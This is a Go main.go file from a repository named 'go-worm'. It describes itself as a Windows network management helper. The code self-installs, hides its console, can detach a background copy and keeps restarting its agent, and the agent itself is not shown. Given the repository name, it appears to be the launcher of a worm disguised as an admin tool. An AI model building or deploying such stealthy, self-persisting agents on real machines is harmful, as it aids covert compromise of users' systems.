Files
go-worm/main.go
T

106 lines
2.2 KiB
Go
Raw Normal View History

// win64_mp is a Windows-only, local network management helper.
//
// Build for Windows x64:
//
// GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o win64_mp.exe .
//
// Runs headless by default. Use -foreground for a visible console (dev only).
// Use -background to spawn a detached copy and exit the launcher.
package main
import (
"errors"
"flag"
"fmt"
"strings"
"time"
"tea.chunkbyte.com/kato/go-worm/lib/agent"
"tea.chunkbyte.com/kato/go-worm/lib/config"
"tea.chunkbyte.com/kato/go-worm/lib/crashlog"
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
"tea.chunkbyte.com/kato/go-worm/lib/install"
"tea.chunkbyte.com/kato/go-worm/lib/instance"
)
var errAlreadyRunning = errors.New("agent already running")
func main() {
background := flag.Bool("background", false, "spawn detached agent and exit")
ensure := flag.Bool("ensure", false, "start the agent if it is not already running")
foreground := flag.Bool("foreground", false, "keep console visible (dev only)")
flag.Parse()
if err := install.Ensure(); err != nil {
die(err, *foreground)
}
if *ensure {
if !*foreground {
instance.HideConsole()
_ = helpers.AttachLogFile()
}
if err := instance.EnsureRunning(); err != nil {
die(err, *foreground)
}
return
}
if *background {
if err := instance.Detach(); err != nil {
die(err, *foreground)
}
return
}
if !*foreground {
instance.HideConsole()
_ = helpers.AttachLogFile()
}
for {
err := runAgent()
if err == nil {
return
}
if errors.Is(err, errAlreadyRunning) {
return
}
crashlog.RecordError(err)
helpers.Log.Printf("agent stopped: %v; restarting in %s", err, config.RestartDelay)
time.Sleep(config.RestartDelay)
}
}
func runAgent() (err error) {
defer func() {
if r := recover(); r != nil {
crashlog.RecordPanic(r)
err = fmt.Errorf("panic: %v", r)
}
}()
a, err := agent.New()
if err != nil {
if strings.Contains(err.Error(), "already running") {
return errAlreadyRunning
}
return err
}
defer a.Close()
if err := a.Serve(); err != nil {
return err
}
return nil
}
func die(err error, foreground bool) {
if !foreground {
instance.HideConsole()
_ = helpers.AttachLogFile()
}
crashlog.RecordError(err)
helpers.Log.Fatal(err)
}